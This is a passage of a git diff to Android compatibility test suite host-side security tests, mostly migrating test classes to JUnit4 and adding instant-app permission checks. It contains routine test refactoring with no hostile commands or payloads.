// sleep a small amount of time to ensure last log message makes it into capture
RunUtil.getDefault().sleep(10);
- InputStreamSource source = getDevice().getLogcat(100 * 1024);
- assertNotNull(source);
File tmpTxtFile = FileUtil.createTempFile("logcat", ".txt");
- try {
+ try (InputStreamSource source = getDevice().getLogcat(100 * 1024)) {
+ assertNotNull(source);
FileUtil.writeToFile(source.createInputStream(), tmpTxtFile);
CLog.i("Created file at %s", tmpTxtFile.getAbsolutePath());
// ensure last log message is present in log
@@ -379,7 +376,6 @@
}
} finally {
FileUtil.deleteFile(tmpTxtFile);
- source.cancel();
}
retry++;
if ((retry > 100) && !passed) {
diff --git a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
index 3f2ffa8..75ffc85 100644
--- a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
+++ b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
@@ -33,8 +33,8 @@
*/
public class TestDeviceStressTest extends DeviceTestCase {
- private static final int TEST_FILE_COUNT= 200;
- private int mIterations = 25;
+ private static final int TEST_FILE_COUNT= 100;
+ private int mIterations = 20;
private ITestDevice mTestDevice;
@Override
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index afd7245..74cd71c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -23,13 +23,17 @@
import static android.appsecurity.cts.SplitTests.CLASS;
import static android.appsecurity.cts.SplitTests.PKG;
-import com.android.tradefed.build.IBuildInfo;
+import static org.junit.Assert.fail;
+
import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
@@ -37,45 +41,31 @@
/**
* Set of tests that verify behavior of adopted storage media, if supported.
*/
-public class AdoptableHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
- private IAbi mAbi;
- private IBuildInfo mCtsBuild;
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AdoptableHostTest extends BaseHostJUnit4Test {
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
+ @Before
+ public void setUp() throws Exception {
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- Utils.prepareSingleUser(getDevice());
- assertNotNull(mAbi);
- assertNotNull(mCtsBuild);
+ // Start all possible users to make sure their storage is unlocked
+ Utils.prepareMultipleUsers(getDevice(), Integer.MAX_VALUE);
getDevice().uninstallPackage(PKG);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
-
+ @After
+ public void tearDown() throws Exception {
getDevice().uninstallPackage(PKG);
}
+ @Test
public void testApps() throws Exception {
if (!hasAdoptable()) return;
final String diskId = getAdoptionDisk();
try {
- final String abi = mAbi.getName();
+ final String abi = getAbi().getName();
final String apk = ABI_TO_APK.get(abi);
- assertNotNull("Failed to find APK for ABI " + abi, apk);
+ Assert.assertNotNull("Failed to find APK for ABI " + abi, apk);
// Install simple app on internal
new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk).run();
@@ -119,6 +109,7 @@
}
}
+ @Test
public void testPrimaryStorage() throws Exception {
if (!hasAdoptable()) return;
final String diskId = getAdoptionDisk();
@@ -218,6 +209,7 @@
* Verify that we can install both new and inherited packages directly on
* adopted volumes.
*/
+ @Test
public void testPackageInstaller() throws Exception {
if (!hasAdoptable()) return;
final String diskId = getAdoptionDisk();
@@ -246,6 +238,7 @@
* Verify behavior when changes occur while adopted device is ejected and
* returned at a later time.
*/
+ @Test
public void testEjected() throws Exception {
if (!hasAdoptable()) return;
final String diskId = getAdoptionDisk();
@@ -335,11 +328,6 @@
getDevice().executeShellCommand("sm forget all");
}
- private void runDeviceTests(String packageName, String testClassName, String testMethodName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
- }
-
private static void assertSuccess(String str) {
if (str == null || !str.startsWith("Success")) {
throw new AssertionError("Expected success string but found " + str);
@@ -367,7 +355,7 @@
private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
public InstallMultiple() {
- super(getDevice(), mCtsBuild, mAbi);
+ super(getDevice(), getBuild(), getAbi());
}
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
index 90b89af..797ffcb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -29,7 +29,6 @@
import com.android.tradefed.targetprep.ITargetCleaner;
import com.android.tradefed.targetprep.ITargetPreparer;
import com.android.tradefed.targetprep.TargetSetupError;
-import com.android.tradefed.util.StreamUtil;
/**
* Creates secondary and tertiary users for use during a test suite.
@@ -56,11 +55,8 @@
"Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
}
} catch (IllegalStateException e) {
- InputStreamSource logcat = device.getLogcatDump();
- try {
+ try (InputStreamSource logcat = device.getLogcatDump()) {
mLogger.testLog("AppSecurityPrep_failed_create_user", LogDataType.LOGCAT, logcat);
- } finally {
- StreamUtil.cancel(logcat);
}
throw new TargetSetupError("Failed to create user.", e, device.getDeviceDescriptor());
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 00bac12..085cc43 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -16,32 +16,30 @@
package android.appsecurity.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.AbiUtils;
-import com.android.tradefed.util.RunUtil;
-import java.io.BufferedReader;
-import java.io.EOFException;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.util.ArrayList;
-import java.util.List;
/**
* Set of tests that verify various security checks involving multiple apps are
* properly enforced.
*/
-public class AppSecurityTests extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AppSecurityTests extends BaseHostJUnit4Test {
// testSharedUidDifferentCerts constants
private static final String SHARED_UI_APK = "CtsSharedUidInstall.apk";
@@ -86,39 +84,22 @@
private static final String LOG_TAG = "AppSecurityTests";
- private IAbi mAbi;
- private IBuildInfo mCtsBuild;
-
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
private File getTestAppFile(String fileName) throws FileNotFoundException {
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
return buildHelper.getTestFile(fileName);
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
+ @Before
+ public void setUp() throws Exception {
Utils.prepareSingleUser(getDevice());
- assertNotNull(mCtsBuild);
+ assertNotNull(getBuild());
}
/**
* Test that an app that declares the same shared uid as an existing app, cannot be installed
* if it is signed with a different certificate.
*/
+ @Test
public void testSharedUidDifferentCerts() throws Exception {
Log.i(LOG_TAG, "installing apks with shared uid, but different certs");
try {
@@ -126,7 +107,7 @@
getDevice().uninstallPackage(SHARED_UI_PKG);
getDevice().uninstallPackage(SHARED_UI_DIFF_CERT_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(getTestAppFile(SHARED_UI_APK),
false, options);
assertNull(String.format("failed to install shared uid app, Reason: %s", installResult),
@@ -147,13 +128,14 @@
* Test that an app update cannot be installed over an existing app if it has a different
* certificate.
*/
+ @Test
public void testAppUpgradeDifferentCerts() throws Exception {
Log.i(LOG_TAG, "installing app upgrade with different certs");
try {
// cleanup test app that might be installed from previous partial test run
getDevice().uninstallPackage(SIMPLE_APP_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(getTestAppFile(SIMPLE_APP_APK),
false, options);
assertNull(String.format("failed to install simple app. Reason: %s", installResult),
@@ -172,6 +154,7 @@
/**
* Test that an app cannot access another app's private data.
*/
+ @Test
public void testAppFailAccessPrivateData() throws Exception {
Log.i(LOG_TAG, "installing app that attempts to access another app's private data");
try {
@@ -179,7 +162,7 @@
getDevice().uninstallPackage(APP_WITH_DATA_PKG);
getDevice().uninstallPackage(APP_ACCESS_DATA_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(getTestAppFile(APP_WITH_DATA_APK),
false, options);
assertNull(String.format("failed to install app with data. Reason: %s", installResult),
@@ -202,13 +185,14 @@
/**
* Test that uninstall of an app removes its private data.
*/
+ @Test
public void testUninstallRemovesData() throws Exception {
Log.i(LOG_TAG, "Uninstalling app, verifying data is removed.");
try {
// cleanup test app that might be installed from previous partial test run
getDevice().uninstallPackage(APP_WITH_DATA_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(getTestAppFile(APP_WITH_DATA_APK),
false, options);
assertNull(String.format("failed to install app with data. Reason: %s", installResult),
@@ -233,6 +217,7 @@
/**
* Test that an app cannot instrument another app that is signed with different certificate.
*/
+ @Test
public void testInstrumentationDiffCert() throws Exception {
Log.i(LOG_TAG, "installing app that attempts to instrument another app");
try {
@@ -240,7 +225,7 @@
getDevice().uninstallPackage(TARGET_INSTRUMENT_PKG);
getDevice().uninstallPackage(INSTRUMENT_DIFF_CERT_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(
getTestAppFile(TARGET_INSTRUMENT_APK), false, options);
assertNull(String.format("failed to install target instrumentation app. Reason: %s",
@@ -266,6 +251,7 @@
* Test that an app cannot use a signature-enforced permission if it is signed with a different
* certificate than the app that declared the permission.
*/
+ @Test
public void testPermissionDiffCert() throws Exception {
Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
try {
@@ -274,7 +260,7 @@
getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
getDevice().uninstallPackage(PERMISSION_DIFF_CERT_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
String installResult = getDevice().installPackage(
getTestAppFile(DECLARE_PERMISSION_APK), false, options);
assertNull(String.format("failed to install declare permission app. Reason: %s",
@@ -302,6 +288,7 @@
/**
* Tests that an arbitrary file cannot be installed using the 'cmd' command.
*/
+ @Test
public void testAdbInstallFile() throws Exception {
String output = getDevice().executeShellCommand(
"cmd package install -S 1024 /data/local/tmp/foo.apk");
@@ -309,11 +296,6 @@
}
private void runDeviceTests(String packageName) throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName);
- }
-
- private void runDeviceTests(String packageName, String testClassName, String testMethodName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+ runDeviceTests(packageName, null);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
index 920e0a5..26065ca 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -17,18 +17,18 @@
package android.appsecurity.cts;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Before;
import java.util.ArrayList;
/**
* Base class.
*/
-public class BaseAppSecurityTest extends DeviceTestCase implements IBuildReceiver {
- protected IBuildInfo mBuildInfo;
+public class BaseAppSecurityTest extends BaseHostJUnit4Test {
/** Whether multi-user is supported. */
protected boolean mSupportsMultiUser;
@@ -37,15 +37,9 @@
/** Users we shouldn't delete in the tests */
private ArrayList<Integer> mFixedUsers;
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mBuildInfo = buildInfo;
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- assertNotNull(mBuildInfo); // ensure build has been set before test is run.
+ @Before
+ public void setUp() throws Exception {
+ Assert.assertNotNull(getBuild()); // ensure build has been set before test is run.
mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
mIsSplitSystemUser = checkIfSplitSystemUser();
@@ -70,8 +64,8 @@
if (userId < 0) {
userId = mPrimaryUserId;
}
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
- assertNull(getDevice().installPackageForUser(
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+ Assert.assertNull(getDevice().installPackageForUser(
buildHelper.getTestFile(apk), true, false, userId, "-t"));
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
index e291771..f4f6d9e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -15,11 +15,17 @@
*/
package android.appsecurity.cts;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-public class ClassloaderSplitsTest extends DeviceTestCase implements IBuildReceiver {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ClassloaderSplitsTest extends BaseHostJUnit4Test implements IBuildReceiver {
private static final String PKG = "com.android.cts.classloadersplitapp";
private static final String TEST_CLASS = PKG + ".SplitAppTest";
@@ -39,54 +45,48 @@
private static final String APK_FEATURE_A = "CtsClassloaderSplitAppFeatureA.apk";
private static final String APK_FEATURE_B = "CtsClassloaderSplitAppFeatureB.apk";
- private IBuildInfo mBuildInfo;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
+ @Before
+ public void setUp() throws Exception {
Utils.prepareSingleUser(getDevice());
getDevice().uninstallPackage(PKG);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ @After
+ public void tearDown() throws Exception {
getDevice().uninstallPackage(PKG);
}
+ @Test
public void testBaseClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
}
+ @Test
public void testFeatureAClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
}
+ @Test
public void testFeatureBClassLoader() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
}
+ @Test
public void testReceiverClassLoaders() throws Exception {
new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
- Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mBuildInfo = buildInfo;
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+ runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
}
private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
public InstallMultiple() {
- super(getDevice(), mBuildInfo, null);
+ super(getDevice(), getBuild(), null);
}
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 2174fa0..983ab57 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -16,15 +16,20 @@
package android.appsecurity.cts;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
import com.android.ddmlib.AdbCommandRejectedException;
import com.android.ddmlib.CollectingOutputReceiver;
import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Set of tests that verify behavior of direct boot, if supported.
@@ -32,7 +37,8 @@
* Note that these tests drive PIN setup manually instead of relying on device
* administrators, which are not supported by all devices.
*/
-public class DirectBootHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class DirectBootHostTest extends BaseHostJUnit4Test {
private static final String TAG = "DirectBootHostTest";
private static final String PKG = "com.android.cts.encryptionapp";
@@ -55,35 +61,19 @@
private String mFeatureList = null;
private int[] mUsers;
- private IAbi mAbi;
- private IBuildInfo mCtsBuild;
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
+ @Before
+ public void setUp() throws Exception {
mUsers = Utils.prepareSingleUser(getDevice());
- assertNotNull(mAbi);
- assertNotNull(mCtsBuild);
+ assertNotNull(getAbi());
+ assertNotNull(getBuild());
getDevice().uninstallPackage(PKG);
getDevice().uninstallPackage(OTHER_PKG);
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
-
+ @After
+ public void tearDown() throws Exception {
getDevice().uninstallPackage(PKG);
getDevice().uninstallPackage(OTHER_PKG);
}
@@ -91,6 +81,7 @@
/**
* Automotive devices MUST support native FBE.
*/
+ @Test
public void testAutomotiveNativeFbe() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -107,6 +98,7 @@
/**
* If device has native FBE, verify lifecycle.
*/
+ @Test
public void testDirectBootNative() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -122,6 +114,7 @@
/**
* If device doesn't have native FBE, enable emulation and verify lifecycle.
*/
+ @Test
public void testDirectBootEmulated() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -137,6 +130,7 @@
/**
* If device doesn't have native FBE, verify normal lifecycle.
*/
+ @Test
public void testDirectBootNone() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
@@ -213,7 +207,7 @@
int... users) throws DeviceNotAvailableException {
for (int user : users) {
Log.d(TAG, "runDeviceTests " + testMethodName + " u" + user);
- Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, user);
+ runDeviceTests(getDevice(), packageName, testClassName, testMethodName, user, null);
}
}
@@ -269,7 +263,7 @@
private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
public InstallMultiple() {
- super(getDevice(), mCtsBuild, mAbi);
+ super(getDevice(), getBuild(), getAbi());
}
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index fdd2f06..5564125 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -219,6 +219,49 @@
runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
}
+ /** Test for android.permission.INSTANT_APP_FOREGROUND_SERVICE */
+ public void testStartForegrondService() throws Exception {
+ // Make sure the test package does not have INSTANT_APP_FOREGROUND_SERVICE
+ getDevice().executeShellCommand("cmd package revoke " + EPHEMERAL_1_PKG
+ + " android.permission.INSTANT_APP_FOREGROUND_SERVICE");
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartForegroundService");
+ }
+
+ /** Test for android.permission.RECORD_AUDIO */
+ public void testRecordAudioPermission() throws Exception {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testRecordAudioPermission");
+ }
+
+ /** Test for android.permission.CAMERA */
+ public void testCameraPermission() throws Exception {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testCameraPermission");
+ }
+
+ /** Test for android.permission.READ_PHONE_NUMBERS */
+ public void testReadPhoneNumbersPermission() throws Exception {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testReadPhoneNumbersPermission");
+ }
+
+ /** Test for android.permission.ACCESS_COARSE_LOCATION */
+ public void testAccessCoarseLocationPermission() throws Throwable {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testAccessCoarseLocationPermission");
+ }
+
+ /** Test for android.permission.NETWORK */
+ public void testInternetPermission() throws Throwable {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInternetPermission");
+ }
+
+ /** Test for android.permission.VIBRATE */
+ public void testVibratePermission() throws Throwable {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testVibratePermission");
+ }
+
+ /** Test for android.permission.WAKE_LOCK */
+ public void testWakeLockPermission() throws Throwable {
+ runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testWakeLockPermission");
+ }
+
private static final HashMap<String, String> makeArgs(
String action, String category, String mimeType) {
if (action == null || action.length() == 0) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 87d8bd6..d2f032d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -16,24 +16,28 @@
package android.appsecurity.cts;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.util.AbiUtils;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.io.FileNotFoundException;
/**
* Set of tests that verify behavior of external storage devices.
*/
-public class ExternalStorageHostTest extends DeviceTestCase
- implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ExternalStorageHostTest extends BaseHostJUnit4Test {
private static final String TAG = "ExternalStorageHostTest";
private static final String COMMON_CLASS =
@@ -53,47 +57,29 @@
private static final String MULTIUSER_CLASS = ".MultiUserStorageTest";
private int[] mUsers;
- private IAbi mAbi;
- private IBuildInfo mCtsBuild;
-
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
private File getTestAppFile(String fileName) throws FileNotFoundException {
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
return buildHelper.getTestFile(fileName);
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
+ @Before
+ public void setUp() throws Exception {
mUsers = Utils.prepareMultipleUsers(getDevice());
- assertNotNull(mAbi);
- assertNotNull(mCtsBuild);
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ assertNotNull(getAbi());
+ assertNotNull(getBuild());
}
/**
* Verify that app with no external storage permissions works correctly.
*/
+ @Test
public void testExternalStorageNone() throws Exception {
try {
wipePrimaryExternalStorage();
getDevice().uninstallPackage(NONE_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
for (int user : mUsers) {
@@ -110,12 +96,13 @@
* {@link android.Manifest.permission#READ_EXTERNAL_STORAGE} works
* correctly.
*/
+ @Test
public void testExternalStorageRead() throws Exception {
try {
wipePrimaryExternalStorage();
getDevice().uninstallPackage(READ_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
for (int user : mUsers) {
@@ -132,12 +119,13 @@
* {@link android.Manifest.permission#WRITE_EXTERNAL_STORAGE} works
* correctly.
*/
+ @Test
public void testExternalStorageWrite() throws Exception {
try {
wipePrimaryExternalStorage();
getDevice().uninstallPackage(WRITE_PKG);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
for (int user : mUsers) {
@@ -153,6 +141,7 @@
* Verify that app with WRITE_EXTERNAL can leave gifts in external storage
* directories belonging to other apps, and those apps can read.
*/
+ @Test
public void testExternalStorageGifts() throws Exception {
try {
wipePrimaryExternalStorage();
@@ -160,7 +149,7 @@
getDevice().uninstallPackage(NONE_PKG);
getDevice().uninstallPackage(READ_PKG);
getDevice().uninstallPackage(WRITE_PKG);
- final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ final String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
// We purposefully delay the installation of the reading apps to
// verify that the daemon correctly invalidates any caches.
@@ -186,6 +175,7 @@
* Test multi-user emulated storage environment, ensuring that each user has
* isolated storage.
*/
+ @Test
public void testMultiUserStorageIsolated() throws Exception {
try {
if (mUsers.length == 1) {
@@ -198,7 +188,7 @@
// Install our test app
